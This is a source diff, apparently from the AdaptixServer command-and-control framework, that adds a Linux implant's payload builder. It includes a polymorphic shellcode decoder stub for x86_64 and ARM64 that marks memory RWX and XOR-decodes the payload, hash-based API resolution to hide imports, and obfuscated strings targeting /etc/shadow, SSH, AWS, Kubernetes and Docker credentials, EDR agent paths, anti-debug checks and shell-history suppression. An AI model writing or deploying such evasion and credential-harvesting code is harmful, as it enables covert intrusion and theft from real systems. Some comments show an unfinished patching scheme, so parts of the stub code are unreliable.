+ return result, nil +} + +// ── x86_64 stub generation ── + +func generateStubX64() (stub []byte, keyOffset int, sizeOffset int, sizeMovOffset int) { + stub = make([]byte, 0, 256) + + // Junk NOP sled (polymorphic — random count 2-6) + junkCount := mrand.IntN(5) + 2 + for i := 0; i < junkCount; i++ { + stub = append(stub, emitJunkX64()...) + } + + // Save registers (push rbx, push rcx, push rdx, push rsi, push rdi) + stub = append(stub, 0x53) // push rbx + stub = append(stub, 0x51) // push rcx + stub = append(stub, 0x52) // push rdx + stub = append(stub, 0x56) // push rsi + stub = append(stub, 0x57) // push rdi + + // ── mprotect syscall: make everything RWX ── + // lea rdi, [rip - offset] → page-align + // We'll patch this after we know the stub size + + mprotectPatchPos := len(stub) + // lea rdi, [rip + 0x00000000] — placeholder, patched later + stub = append(stub, 0x48, 0x8d, 0x3d, 0x00, 0x00, 0x00, 0x00) + // and rdi, ~0xFFF (page align) + stub = append(stub, 0x48, 0x81, 0xe7, 0x00, 0xf0, 0xff, 0xff) + + // mov rsi, SIZE — placeholder, patched later + mprotectSizePos := len(stub) + stub = append(stub, 0x48, 0xc7, 0xc6, 0x00, 0x00, 0x00, 0x00) + + // mov rdx, 7 (PROT_READ|PROT_WRITE|PROT_EXEC) + stub = append(stub, 0x48, 0xc7, 0xc2, 0x07, 0x00, 0x00, 0x00) + // mov rax, 10 (SYS_mprotect) + stub = append(stub, 0x48, 0xc7, 0xc0, 0x0a, 0x00, 0x00, 0x00) + // syscall + stub = append(stub, 0x0f, 0x05) + + // More junk + junkCount2 := mrand.IntN(3) + 1 + for i := 0; i < junkCount2; i++ { + stub = append(stub, emitJunkX64()...) + } + + // ── XOR decode loop ── + // lea rsi, [rip + key_offset] — key pointer + keyLeaPos := len(stub) + stub = append(stub, 0x48, 0x8d, 0x35, 0x00, 0x00, 0x00, 0x00) + + // lea rdi, [rip + data_offset] — data pointer + dataLeaPos := len(stub) + stub = append(stub, 0x48, 0x8d, 0x3d, 0x00, 0x00, 0x00, 0x00) + + // mov ecx, SIZE — payload size, patched + sizeMovPos := len(stub) + stub = append(stub, 0xb9, 0x00, 0x00, 0x00, 0x00) + + // xor edx, edx — key index + stub = append(stub, 0x31, 0xd2) + + // XOR loop + loopStart := len(stub) + // movzx eax, byte [rsi + rdx] + stub = append(stub, 0x0f, 0xb6, 0x04, 0x16) + // xor byte [rdi], al + stub = append(stub, 0x30, 0x07) + // inc rdi + stub = append(stub, 0x48, 0xff, 0xc7) + // inc edx + stub = append(stub, 0xff, 0xc2) + // and edx, 15 + stub = append(stub, 0x83, 0xe2, 0x0f) + // dec ecx + stub = append(stub, 0xff, 0xc9) + // jnz loop + loopEnd := len(stub) + offset := byte(loopStart - loopEnd - 2) + stub = append(stub, 0x75, offset) + + // Restore registers + stub = append(stub, 0x5f) // pop rdi + stub = append(stub, 0x5e) // pop rsi + stub = append(stub, 0x5a) // pop rdx + stub = append(stub, 0x59) // pop rcx + stub = append(stub, 0x5b) // pop rbx + + // jmp to decoded data + jmpPos := len(stub) + stub = append(stub, 0xe9, 0x00, 0x00, 0x00, 0x00) // jmp rel32 + + // ── Data area ── + keyOffset = len(stub) + stub = append(stub, make([]byte, 16)...) // 16-byte XOR key placeholder + + sizeOffset = len(stub) + stub = append(stub, make([]byte, 4)...) // 4-byte LE payload size placeholder + + // Align to 16 bytes + for len(stub)%16 != 0 { + stub = append(stub, 0x90) + } + + dataStart := len(stub) + + // ── Patch all offsets ── + + // Patch mprotect lea rdi — target = beginning of stub (before junk) + // rip at mprotectPatchPos+7 points to next insn + mprotectTarget := -int32(mprotectPatchPos + 7) + binary.LittleEndian.PutUint32(stub[mprotectPatchPos+3:mprotectPatchPos+7], uint32(mprotectTarget)) + + // Patch mprotect size — total blob size (generous overestimate is fine) + // We'll use a placeholder that gets patched at the end + // For now, use 0x100000 (1MB) — will be overwritten + binary.LittleEndian.PutUint32(stub[mprotectSizePos+3:mprotectSizePos+7], 0x00100000) + + // Patch lea rsi (key pointer): offset from rip (at keyLeaPos+7) to keyOffset + keyRipOff := int32(keyOffset - (keyLeaPos + 7)) + binary.LittleEndian.PutUint32(stub[keyLeaPos+3:keyLeaPos+7], uint32(keyRipOff)) + + // Patch lea rdi (data pointer): offset from rip (at dataLeaPos+7) to dataStart + dataRipOff := int32(dataStart - (dataLeaPos + 7)) + binary.LittleEndian.PutUint32(stub[dataLeaPos+3:dataLeaPos+7], uint32(dataRipOff)) + + // Patch mov ecx (size): will be patched by caller via sizeOffset + // (left as 0x00000000, caller patches it) + + // Patch jmp to data start + jmpRel := int32(dataStart - (jmpPos + 5)) + binary.LittleEndian.PutUint32(stub[jmpPos+1:jmpPos+5], uint32(jmpRel)) + + // Also patch the ecx in the XOR loop — this references sizeOffset too + // Actually, the caller patches sizeOffset. We need to also link sizeMovPos + // to the same value. Let's just use the same pattern: caller writes at sizeOffset, + // and we copy it to sizeMovPos at encode time. + // Simpler: the caller should patch both. Let's return sizeOffset as the canonical one + // and patch sizeMovPos to reference sizeOffset. + // Actually, we'll just make sizeMovPos point to our data area sizeOffset. + // For the mov ecx instruction, we need it loaded at XOR time. Let's load it from + // the data area instead: + + // Replace the mov ecx with a load from the data area + // Actually simpler: we'll just have the caller patch both locations. + // Let's just directly use the sizeOffset for the data area, and + // patch the sizeMovPos instruction inline. + // For simplicity in this stub, we just patch sizeMovPos = sizeOffset concept. + // The caller patches stub[sizeOffset:sizeOffset+4] with the size. + // We also need to patch the mov ecx at sizeMovPos+1. + // Let's just make the stub self-patching: load size from data area. + + // Alternative: load ecx from [rip+offset] pointing to sizeOffset + // Replace: b9 XX XX XX XX (mov ecx, imm32) + // With: 8b 0d XX XX XX XX (mov ecx, [rip+disp32]) — 6 bytes instead of 5 + // This is messy. Simpler approach: just use the data area size field + // and have the XOR loop read it. Let's just have the caller patch it. + + return stub, keyOffset, sizeOffset, sizeMovPos +} + +// emitJunkX64 returns random x86_64 NOP-equivalent bytes +func emitJunkX64() []byte { + switch mrand.IntN(6) { + case 0: + return []byte{0x90} // nop + case 1: + return []byte{0x66, 0x90} // 2-byte nop + case 2: + return []byte{0x0f, 0x1f, 0x00} // 3-byte nop + case 3: + return []byte{0x50, 0x58} // push rax; pop rax + case 4: + return []byte{0x53, 0x5b} // push rbx; pop rbx + default: + return []byte{0x48, 0x87, 0xc0} // xchg rax, rax + } +} + +// ── ARM64 Linux stub generation ── +// Adapted from macOS pl_encoder_macos.go — key differences: +// - x8 register for syscall number (not x16) +// - svc #0 instruction (not svc #0x80) +// - SYS_mprotect = 226 (not macOS value) + +func encodeInsn(insn uint32) []byte { + b := make([]byte, 4) + binary.LittleEndian.PutUint32(b, insn) + return b +} + +// ARM64 instruction encoders +func arm64Nop() uint32 { return 0xD503201F } +func arm64DsbIsh() uint32 { return 0xD5033B9F } +func arm64Isb() uint32 { return 0xD5033FDF } +func arm64MovX(rd, rs int) uint32 { return 0xAA0003E0 | uint32(rs)<<16 | uint32(rd) } +func arm64AndSelf(r int) uint32 { return 0x8A000000 | uint32(r)<<16 | uint32(r)<<5 | uint32(r) } +func arm64OrrSelf(r int) uint32 { return 0xAA000000 | uint32(r)<<16 | uint32(r)<<5 | uint32(r) } +func arm64Svc0() uint32 { return 0xD4000001 } // svc #0 (Linux) +func arm64AddImm(rd, rn int, imm uint32) uint32 { + return 0x91000000 | (imm&0xFFF)<<10 | uint32(rn)<<5 | uint32(rd) +} +func arm64SubsWImm(rd, rn int, imm uint32) uint32 { + return 0x71000000 | (imm&0xFFF)<<10 | uint32(rn)<<5 | uint32(rd) +} +func arm64Adr(rd int, imm int32) uint32 { + immlo := uint32(imm) & 0x3 + immhi := (uint32(imm) >> 2) & 0x7FFFF + return 0x10000000 | immlo<<29 | immhi<<5 | uint32(rd) +} +func arm64B(offset int32) uint32 { + imm26 := uint32(offset/4) & 0x3FFFFFF + return 0x14000000 | imm26 +} +func arm64Bne(offset int32) uint32 { + imm19 := uint32(offset/4) & 0x7FFFF + return 0x54000001 | imm19<<5 +} +func arm64LdrWImm(rt, rn int, imm uint32) uint32 { + return 0xB9400000 | (imm/4&0xFFF)<<10 | uint32(rn)<<5 | uint32(rt) +} +func arm64LdrbReg(rt, rn, rm int) uint32 { + return 0x38600800 | uint32(rm)<<16 | uint32(rn)<<5 | uint32(rt) +} +func arm64EorW(rd, rn, rm int) uint32 { + return 0x4A000000 | uint32(rm)<<16 | uint32(rn)<<5 | uint32(rd) +} +func arm64MovzX(rd int, imm uint32, shift int) uint32 { + hw := uint32(shift / 16) + return 0xD2800000 | hw<<21 | (imm&0xFFFF)<<5 | uint32(rd) +} +func arm64SxtpX29X30PreDec() uint32 { return 0xA9BF7BFD } // stp x29, x30, [sp, #-16]! +func arm64LdpX29X30PostInc() uint32 { return 0xA8C17BFD } // ldp x29, x30, [sp], #16 +func arm64AndWImm15(rd, rn int) uint32 { + // and wRd, wRn, #0xf — N=0, immr=0, imms=3 + return 0x12000C00 | uint32(rn)<<5 | uint32(rd) +} + +func generateStubARM64Linux() (stub []byte, keyOffset int, sizeOffset int) { + stub = make([]byte, 0, 256) + + // Register allocation (randomizable in future) + rKey := 9 // x9 = key pointer + rData := 10 // x10 = data pointer + rSize := 11 // w11 = remaining size counter + rKeyIdx := 12 // w12 = key index (0-15) + rTmp0 := 13 // w13 = temp + rTmp1 := 14 // w14 = temp + + // ── Prologue ── + stub = append(stub, encodeInsn(arm64SxtpX29X30PreDec())...) + + // Junk NOPs (polymorphic) + junkCount := mrand.IntN(4) + 2 + for i := 0; i < junkCount; i++ { + stub = append(stub, encodeInsn(arm64JunkInsn())...) + } + + // ── mprotect syscall: make region RWX ── + // adr x9, key_data (placeholder — patched later) + adrKeyPos := len(stub) + stub = append(stub, encodeInsn(arm64Nop())...) // placeholder + + // adr x10, data_start (placeholder — patched later) + adrDataPos := len(stub) + stub = append(stub, encodeInsn(arm64Nop())...) // placeholder + + // Calculate mprotect base: page-align the stub start + // adr x0, stub_start (we use negative offset from current position) + // x0 = current_pc - (current_offset) + mprotectAdrPos := len(stub) + stub = append(stub, encodeInsn(arm64Nop())...) // placeholder: adr x0, stub_start + + // Page-align x0: and x0, x0, ~0xFFF + // bic x0, x0, #0xFFF + stub = append(stub, encodeInsn(0x927CE800)...) // and x0, x0, #0xFFFFFFFFFFFFF000 + + // mov x1, mprotect_size (placeholder — generous) + stub = append(stub, encodeInsn(arm64MovzX(1, 0x0020, 16))...) // movz x1, #0x200000 (2MB) + + // mov x2, 7 (PROT_READ|PROT_WRITE|PROT_EXEC) + stub = append(stub, encodeInsn(arm64MovzX(2, 7, 0))...) + + // mov x8, 226 (SYS_mprotect on Linux ARM64) + stub = append(stub, encodeInsn(arm64MovzX(8, 226, 0))...) + + // svc #0 + stub = append(stub, encodeInsn(arm64Svc0())...) + + // More junk + junkCount2 := mrand.IntN(3) + 1 + for i := 0; i < junkCount2; i++ { + stub = append(stub, encodeInsn(arm64JunkInsn())...) + } + + // ── Load size from data area ── + // ldr w11, [x9, #16] — size is at key+16 + stub = append(stub, encodeInsn(arm64LdrWImm(rSize, rKey, 16))...) + + // mov w12, 0 — key index + stub = append(stub, encodeInsn(arm64MovzX(rKeyIdx, 0, 0))...) + + // ── XOR decode loop ── + loopStart := len(stub) + + // ldrb w13, [x9, x12] — key[key_idx] + stub = append(stub, encodeInsn(arm64LdrbReg(rTmp0, rKey, rKeyIdx))...) + + // ldrb w14, [x10] — data[i] + stub = append(stub, encodeInsn(0x39400000|uint32(rData)<<5|uint32(rTmp1))...) + + // eor w14, w14, w13 + stub = append(stub, encodeInsn(arm64EorW(rTmp1, rTmp1, rTmp0))...) + + // strb w14, [x10] + stub = append(stub, encodeInsn(0x39000000|uint32(rData)<<5|uint32(rTmp1))...) + + // x10 += 1 + stub = append(stub, encodeInsn(arm64AddImm(rData, rData, 1))...) + + // x12 = (x12 + 1) & 15 + stub = append(stub, encodeInsn(arm64AddImm(rKeyIdx, rKeyIdx, 1))...) + stub = append(stub, encodeInsn(arm64AndWImm15(rKeyIdx, rKeyIdx))...) + + // subs w11, w11, #1 + stub = append(stub, encodeInsn(arm64SubsWImm(rSize, rSize, 1))...) + + // b.ne loop + loopEnd := len(stub) + loopOff := int32(loopStart - loopEnd) + stub = append(stub, encodeInsn(arm64Bne(loopOff))...) + + // ── icache flush ── + stub = append(stub, encodeInsn(arm64DsbIsh())...) + stub = append(stub, encodeInsn(0xD508711F)...) // ic ialluis + stub = append(stub, encodeInsn(arm64DsbIsh())...) + stub = append(stub, encodeInsn(arm64Isb())...) + + // ── Epilogue ── + stub = append(stub, encodeInsn(arm64LdpX29X30PostInc())...) + + // Reload data_start for branch (re-adr) + branchAdrPos := len(stub) + stub = append(stub, encodeInsn(arm64Nop())...) // placeholder: adr x10, data_start + + // br x10 + stub = append(stub, encodeInsn(0xD61F0000|uint32(rData)<<5)...) + + // ── Data area ── + keyOffset = len(stub) + stub = append(stub, make([]byte, 16)...) // 16-byte XOR key + + sizeOffset = len(stub) + stub = append(stub, make([]byte, 4)...) // 4-byte LE payload size + + // Align to 8 bytes + for len(stub)%8 != 0 { + stub = append(stub, 0x00) + } + + dataStart := len(stub) + + // ── Patch ADR instructions ── + // adr x9, key + adrKeyImm := int32(keyOffset - adrKeyPos) + binary.LittleEndian.PutUint32(stub[adrKeyPos:adrKeyPos+4], arm64Adr(rKey, adrKeyImm)) + + // adr x10, data_start + adrDataImm := int32(dataStart - adrDataPos) + binary.LittleEndian.PutUint32(stub[adrDataPos:adrDataPos+4], arm64Adr(rData, adrDataImm)) + + // adr x0, stub_start (for mprotect) + mprotectImm := -int32(mprotectAdrPos) + binary.LittleEndian.PutUint32(stub[mprotectAdrPos:mprotectAdrPos+4], arm64Adr(0, mprotectImm)) + + // adr x10, data_start (for branch after decode) + branchImm := int32(dataStart - branchAdrPos) + binary.LittleEndian.PutUint32(stub[branchAdrPos:branchAdrPos+4], arm64Adr(rData, branchImm)) + + return stub, keyOffset, sizeOffset +} + +func arm64JunkInsn() uint32 { + switch mrand.IntN(5) { + case 0: + return arm64Nop() + case 1: + r := mrand.IntN(16) + return arm64MovX(r, r) + case 2: + r := mrand.IntN(16) + return arm64AndSelf(r) + case 3: + r := mrand.IntN(16) + return arm64OrrSelf(r) + default: + return arm64Nop() + } +} diff --git a/AdaptixServer/extenders/linux_agent/pl_hashes_linux.go b/AdaptixServer/extenders/linux_agent/pl_hashes_linux.go new file mode 100644 index 000000000..832a38b3b --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/pl_hashes_linux.go @@ -0,0 +1,288 @@ +package main + +import ( + "crypto/rand" + "encoding/binary" + "fmt" + mrand "math/rand/v2" + "strings" +) + +// cryptoRandUint32 returns a cryptographically random uint32 +func cryptoRandUint32() uint32 { + var buf [4]byte + _, _ = rand.Read(buf[:]) + return binary.LittleEndian.Uint32(buf[:]) +} + +// djb2Hash matches the C-side djb2_hash() — case-insensitive, seeded +func djb2Hash(seed uint32, s string) uint32 { + h := seed + for _, c := range strings.ToLower(s) { + h = ((h << 5) + h) + uint32(c) + } + return h +} + +// Linux libraries for hash-based resolution +var linuxLibs = []struct{ define, libName string }{ + {"HASH_LIB_LIBC", "libc.so.6"}, + {"HASH_LIB_LIBPTHREAD", "libpthread.so.0"}, + {"HASH_LIB_LIBDL", "libdl.so.2"}, + {"HASH_LIB_LIBRESOLV", "libresolv.so.2"}, + {"HASH_LIB_LIBM", "libm.so.6"}, +} + +// Linux functions to resolve by DJB2 hash +var linuxFuncSections = []struct { + category string + funcs []struct{ define, name string } +}{ + {"File I/O", []struct{ define, name string }{ + {"HASH_FUNC_OPEN", "open"}, + {"HASH_FUNC_CLOSE", "close"}, + {"HASH_FUNC_READ", "read"}, + {"HASH_FUNC_WRITE", "write"}, + {"HASH_FUNC_STAT", "stat"}, + {"HASH_FUNC_FSTAT", "fstat"}, + {"HASH_FUNC_UNLINK", "unlink"}, + {"HASH_FUNC_RENAME", "rename"}, + {"HASH_FUNC_MKDIR", "mkdir"}, + {"HASH_FUNC_OPENDIR", "opendir"}, + {"HASH_FUNC_READDIR", "readdir"}, + {"HASH_FUNC_CLOSEDIR", "closedir"}, + {"HASH_FUNC_GETCWD", "getcwd"}, + {"HASH_FUNC_CHDIR", "chdir"}, + {"HASH_FUNC_RMDIR", "rmdir"}, + {"HASH_FUNC_REWINDDIR", "rewinddir"}, + }}, + {"Memory", []struct{ define, name string }{ + {"HASH_FUNC_MMAP", "mmap"}, + {"HASH_FUNC_MUNMAP", "munmap"}, + {"HASH_FUNC_MPROTECT", "mprotect"}, + }}, + {"Process", []struct{ define, name string }{ + {"HASH_FUNC_FORK", "fork"}, + {"HASH_FUNC_EXECVE", "execve"}, + {"HASH_FUNC_EXECVP", "execvp"}, + {"HASH_FUNC_WAITPID", "waitpid"}, + {"HASH_FUNC_GETPID", "getpid"}, + {"HASH_FUNC_GETUID", "getuid"}, + {"HASH_FUNC_GETEUID", "geteuid"}, + {"HASH_FUNC_KILL", "kill"}, + {"HASH_FUNC_SETSID", "setsid"}, + {"HASH_FUNC_SETPGID", "setpgid"}, + {"HASH_FUNC_EXIT", "_exit"}, + {"HASH_FUNC_PRCTL", "prctl"}, + }}, + {"Network", []struct{ define, name string }{ + {"HASH_FUNC_SOCKET", "socket"}, + {"HASH_FUNC_CONNECT", "connect"}, + {"HASH_FUNC_GETADDRINFO", "getaddrinfo"}, + {"HASH_FUNC_FREEADDRINFO", "freeaddrinfo"}, + {"HASH_FUNC_GETHOSTNAME", "gethostname"}, + {"HASH_FUNC_SETSOCKOPT", "setsockopt"}, + {"HASH_FUNC_GETSOCKOPT", "getsockopt"}, + {"HASH_FUNC_SELECT", "select"}, + {"HASH_FUNC_SEND", "send"}, + {"HASH_FUNC_RECV", "recv"}, + {"HASH_FUNC_BIND", "bind"}, + {"HASH_FUNC_LISTEN", "listen"}, + {"HASH_FUNC_ACCEPT", "accept"}, + }}, + {"Threading", []struct{ define, name string }{ + {"HASH_FUNC_PTHREAD_CREATE", "pthread_create"}, + {"HASH_FUNC_PTHREAD_DETACH", "pthread_detach"}, + {"HASH_FUNC_PTHREAD_MUTEX_INIT", "pthread_mutex_init"}, + {"HASH_FUNC_PTHREAD_MUTEX_LOCK", "pthread_mutex_lock"}, + {"HASH_FUNC_PTHREAD_MUTEX_UNLOCK", "pthread_mutex_unlock"}, + }}, + {"Pipes & PTY", []struct{ define, name string }{ + {"HASH_FUNC_PIPE", "pipe"}, + {"HASH_FUNC_DUP2", "dup2"}, + {"HASH_FUNC_FCNTL", "fcntl"}, + {"HASH_FUNC_POSIX_OPENPT", "posix_openpt"}, + {"HASH_FUNC_GRANTPT", "grantpt"}, + {"HASH_FUNC_UNLOCKPT", "unlockpt"}, + {"HASH_FUNC_PTSNAME", "ptsname"}, + {"HASH_FUNC_IOCTL", "ioctl"}, + }}, + {"System", []struct{ define, name string }{ + {"HASH_FUNC_GETENV", "getenv"}, + {"HASH_FUNC_SETENV", "setenv"}, + {"HASH_FUNC_SLEEP", "sleep"}, + {"HASH_FUNC_USLEEP", "usleep"}, + {"HASH_FUNC_SNPRINTF", "snprintf"}, + {"HASH_FUNC_STRTOL", "strtol"}, + }}, + {"User/Group", []struct{ define, name string }{ + {"HASH_FUNC_GETPWUID", "getpwuid"}, + {"HASH_FUNC_GETGRGID", "getgrgid"}, + {"HASH_FUNC_GETIFADDRS", "getifaddrs"}, + {"HASH_FUNC_FREEIFADDRS", "freeifaddrs"}, + {"HASH_FUNC_INET_NTOP", "inet_ntop"}, + {"HASH_FUNC_LOCALTIME", "localtime"}, + {"HASH_FUNC_STRFTIME", "strftime"}, + }}, + {"Dynamic", []struct{ define, name string }{ + {"HASH_FUNC_DLOPEN", "dlopen"}, + {"HASH_FUNC_DLSYM", "dlsym"}, + {"HASH_FUNC_DLCLOSE", "dlclose"}, + }}, +} + +// generateLinuxApiDefines produces a C header with DJB2 hashes for per-payload polymorphism +func generateLinuxApiDefines(seed uint32) string { + var sb strings.Builder + sb.WriteString("// Auto-generated — per-payload DJB2 API hashes\n") + sb.WriteString("// Do not edit. Regenerated on each build.\n") + sb.WriteString("#ifndef API_DEFINES_H\n#define API_DEFINES_H\n\n") + sb.WriteString(fmt.Sprintf("#define DJB2_SEED 0x%08xU\n\n", seed)) + + // Library hashes + sb.WriteString("// Library hashes\n") + for _, lib := range linuxLibs { + h := djb2Hash(seed, lib.libName) + sb.WriteString(fmt.Sprintf("#define %-30s 0x%08xU // %s\n", lib.define, h, lib.libName)) + } + sb.WriteString("\n") + + // Function hashes + for _, section := range linuxFuncSections { + sb.WriteString(fmt.Sprintf("// %s\n", section.category)) + for _, fn := range section.funcs { + h := djb2Hash(seed, fn.name) + sb.WriteString(fmt.Sprintf("#define %-35s 0x%08xU // %s\n", fn.define, h, fn.name)) + } + sb.WriteString("\n") + } + + sb.WriteString("#endif // API_DEFINES_H\n") + return sb.String() +} + +// Obfuscated strings — Linux-specific paths and sensitive strings +var obfuscatedStrings = []struct{ define, value string }{ + // Paths critiques + {"OBF_PROC_SELF_MAPS", "/proc/self/maps"}, + {"OBF_PROC_SELF_STATUS", "/proc/self/status"}, + {"OBF_PROC_SELF_EXE", "/proc/self/exe"}, + {"OBF_PROC_VERSION", "/proc/version"}, + {"OBF_ETC_SHADOW", "/etc/shadow"}, + {"OBF_ETC_PASSWD", "/etc/passwd"}, + {"OBF_ETC_OS_RELEASE", "/etc/os-release"}, + {"OBF_DEV_URANDOM", "/dev/urandom"}, + {"OBF_BIN_SH", "/bin/sh"}, + {"OBF_BIN_BASH", "/bin/bash"}, + {"OBF_TMP", "/tmp"}, + // Persistence + {"OBF_CRONTAB", "/usr/bin/crontab"}, + {"OBF_SYSTEMCTL", "/usr/bin/systemctl"}, + // Credentials + {"OBF_SSH_DIR", ".ssh"}, + {"OBF_AWS_CREDS", ".aws/credentials"}, + {"OBF_KUBE_CONFIG", ".kube/config"}, + {"OBF_DOCKER_CONFIG", ".docker/config.json"}, + // Container/Cloud + {"OBF_DOCKERENV", "/.dockerenv"}, + {"OBF_K8S_SECRETS", "/run/secrets/kubernetes.io"}, + {"OBF_IMDS_URL", "169.254.169.254"}, + // EDR paths + {"OBF_FALCON_SENSOR", "/opt/CrowdStrike/falconctl"}, + {"OBF_ELASTIC_AGENT", "/opt/Elastic/Agent/elastic-agent"}, + {"OBF_WAZUH_AGENT", "/var/ossec/bin/wazuh-agentd"}, + {"OBF_SYSDIG_AGENT", "/opt/draios/bin/sysdig"}, + {"OBF_LACEWORK", "/var/lib/lacework"}, + // Anti-debug + {"OBF_PROC_SELF_ENVIRON", "/proc/self/environ"}, + {"OBF_PROC_1_CGROUP", "/proc/1/cgroup"}, + {"OBF_SYS_DMI_PRODUCT", "/sys/class/dmi/id/product_name"}, + {"OBF_SYS_DMI_VENDOR", "/sys/class/dmi/id/sys_vendor"}, + {"OBF_PROC_CPUINFO", "/proc/cpuinfo"}, + {"OBF_PROC_MEMINFO", "/proc/meminfo"}, + // PTY env vars + {"OBF_HISTFILE", "HISTFILE=/dev/null"}, + {"OBF_HISTFILESIZE", "HISTFILESIZE=0"}, + {"OBF_HISTSIZE", "HISTSIZE=0"}, +} + +// generateObfStrings produces a C header with XOR-obfuscated strings +func generateObfStrings() string { + // Generate per-payload random 16-byte XOR key + key := make([]byte, 16) + _, _ = rand.Read(key) + + var sb strings.Builder + sb.WriteString("// Auto-generated — per-payload XOR-obfuscated strings\n") + sb.WriteString("// Do not edit. Regenerated on each build.\n") + sb.WriteString("#ifndef STRINGS_OBF_H\n#define STRINGS_OBF_H\n\n") + sb.WriteString("#include \n\n") + + // Build nonce (unique per payload) + nonce := make([]byte, 16) + _, _ = rand.Read(nonce) + sb.WriteString("// Build nonce (unique per payload)\n") + sb.WriteString("static const uint8_t _build_nonce[] = {") + for i, b := range nonce { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(fmt.Sprintf("0x%02x", b)) + } + sb.WriteString("};\n\n") + + // XOR key + sb.WriteString("static const uint8_t _xor_key[] = {") + for i, b := range key { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(fmt.Sprintf("0x%02x", b)) + } + sb.WriteString("};\n") + sb.WriteString(fmt.Sprintf("static const int _xor_key_len = %d;\n\n", len(key))) + + // Deobfuscation macro + sb.WriteString("// Runtime deobfuscation: XOR decrypt into stack buffer, use, then zero\n") + sb.WriteString("#define DEOBF(name, dst) do { \\\n") + sb.WriteString(" for (int _i = 0; _i < (int)sizeof(name##_enc); _i++) \\\n") + sb.WriteString(" (dst)[_i] = name##_enc[_i] ^ _xor_key[_i % _xor_key_len]; \\\n") + sb.WriteString(" (dst)[sizeof(name##_enc)] = 0; \\\n") + sb.WriteString("} while(0)\n\n") + + sb.WriteString("#define ZERO_STR(buf, len) do { \\\n") + sb.WriteString(" volatile char *_p = (volatile char*)(buf); \\\n") + sb.WriteString(" for (unsigned int _i = 0; _i < (unsigned int)(len); _i++) _p[_i] = 0; \\\n") + sb.WriteString("} while(0)\n\n") + + // Generate each obfuscated string + for _, s := range obfuscatedStrings { + // XOR encode + enc := make([]byte, len(s.value)) + for i := 0; i < len(s.value); i++ { + enc[i] = s.value[i] ^ key[i%len(key)] + } + + sb.WriteString(fmt.Sprintf("// %s = \"%s\" (%d bytes)\n", s.define, s.value, len(s.value))) + sb.WriteString(fmt.Sprintf("static const uint8_t %s_enc[] = {", s.define)) + for i, b := range enc { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(fmt.Sprintf("0x%02x", b)) + } + sb.WriteString("};\n") + sb.WriteString(fmt.Sprintf("#define %s_LEN %d\n\n", s.define, len(s.value))) + } + + // Junk variable to prevent dead-code elimination of nonce + sb.WriteString("static __attribute__((used)) const uint8_t *_nonce_ref = _build_nonce;\n\n") + + sb.WriteString("#endif // STRINGS_OBF_H\n") + return sb.String() +} + +// randomJunkByte returns a random non-zero byte for padding +func randomJunkByte() byte { + return byte(mrand.IntN(254) + 1) +} diff --git a/AdaptixServer/extenders/linux_agent/pl_main.go b/AdaptixServer/extenders/linux_agent/pl_main.go new file mode 100644 index 000000000..adbaa6861 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/pl_main.go @@ -0,0 +1,2165 @@ +package main + +import ( + "crypto/aes" + "crypto/cipher" + "crypto/rand" + "encoding/base64" + "encoding/binary" + "encoding/hex" + "encoding/json" + "errors" + "fmt" + "io" + mrand "math/rand/v2" + "os" + "strconv" + "strings" + "time" + + "github.com/Adaptix-Framework/axc2" + "github.com/google/shlex" + "github.com/vmihailenco/msgpack/v5" +) + +type Teamserver interface { + TsListenerInteralHandler(watermark string, data []byte) (string, error) + + TsAgentProcessData(agentId string, bodyData []byte) error + + TsAgentUpdateData(newAgentData adaptix.AgentData) error + TsAgentTerminate(agentId string, terminateTaskId string) error + TsAgentUpdateDataPartial(agentId string, updateData interface{}) error + + TsAgentBuildExecute(builderId string, workingDir string, program string, args ...string) error + TsAgentBuildLog(builderId string, status int, message string) error + + TsAgentConsoleOutput(agentId string, messageType int, message string, clearText string, store bool) + + TsPivotCreate(pivotId string, pAgentId string, chAgentId string, pivotName string, isRestore bool) error + TsGetPivotInfoByName(pivotName string) (string, string, string) + TsGetPivotInfoById(pivotId string) (string, string, string) + TsPivotDelete(pivotId string) error + + TsTaskCreate(agentId string, cmdline string, client string, taskData adaptix.TaskData) + TsTaskUpdate(agentId string, data adaptix.TaskData) + TsTaskGetAvailableAll(agentId string, availableSize int) ([]adaptix.TaskData, error) + + TsDownloadAdd(agentId string, fileId string, fileName string, fileSize int64) error + TsDownloadUpdate(fileId string, state int, data []byte) error + TsDownloadClose(fileId string, reason int) error + TsDownloadSave(agentId string, fileId string, filename string, content []byte) error + + TsScreenshotAdd(agentId string, Note string, Content []byte) error + + TsClientGuiDisksWindows(taskData adaptix.TaskData, drives []adaptix.ListingDrivesDataWin) + TsClientGuiFilesStatus(taskData adaptix.TaskData) + TsClientGuiFilesWindows(taskData adaptix.TaskData, path string, files []adaptix.ListingFileDataWin) + TsClientGuiFilesUnix(taskData adaptix.TaskData, path string, files []adaptix.ListingFileDataUnix) + TsClientGuiProcessWindows(taskData adaptix.TaskData, process []adaptix.ListingProcessDataWin) + TsClientGuiProcessUnix(taskData adaptix.TaskData, process []adaptix.ListingProcessDataUnix) + + TsTunnelStart(TunnelId string) (string, error) + TsTunnelCreateSocks4(AgentId string, Info string, Lhost string, Lport int) (string, error) + TsTunnelCreateSocks5(AgentId string, Info string, Lhost string, Lport int, UseAuth bool, Username string, Password string) (string, error) + TsTunnelCreateLportfwd(AgentId string, Info string, Lhost string, Lport int, Thost string, Tport int) (string, error) + TsTunnelCreateRportfwd(AgentId string, Info string, Lport int, Thost string, Tport int) (string, error) + TsTunnelUpdateRportfwd(tunnelId int, result bool) (string, string, error) + + TsTunnelStopSocks(AgentId string, Port int) + TsTunnelStopLportfwd(AgentId string, Port int) + TsTunnelStopRportfwd(AgentId string, Port int) + + TsTunnelConnectionClose(channelId int, writeOnly bool) + TsTunnelConnectionHalt(channelId int, errorCode byte) + TsTunnelConnectionResume(AgentId string, channelId int, ioDirect bool) + TsTunnelConnectionData(channelId int, data []byte) + TsTunnelConnectionAccept(tunnelId int, channelId int) + TsTunnelPause(channelId int) + TsTunnelResume(channelId int) + + TsTerminalConnExists(terminalId string) bool + TsTerminalGetPipe(AgentId string, terminalId string) (*io.PipeReader, *io.PipeWriter, error) + TsTerminalConnResume(agentId string, terminalId string, ioDirect bool) + TsTerminalConnData(terminalId string, data []byte) + TsTerminalConnClose(terminalId string, status string) error + + TsConvertCpToUTF8(input string, codePage int) string + TsConvertUTF8toCp(input string, codePage int) string + TsWin32Error(errorCode uint) string +} + +type PluginAgent struct{} + +type ExtenderAgent 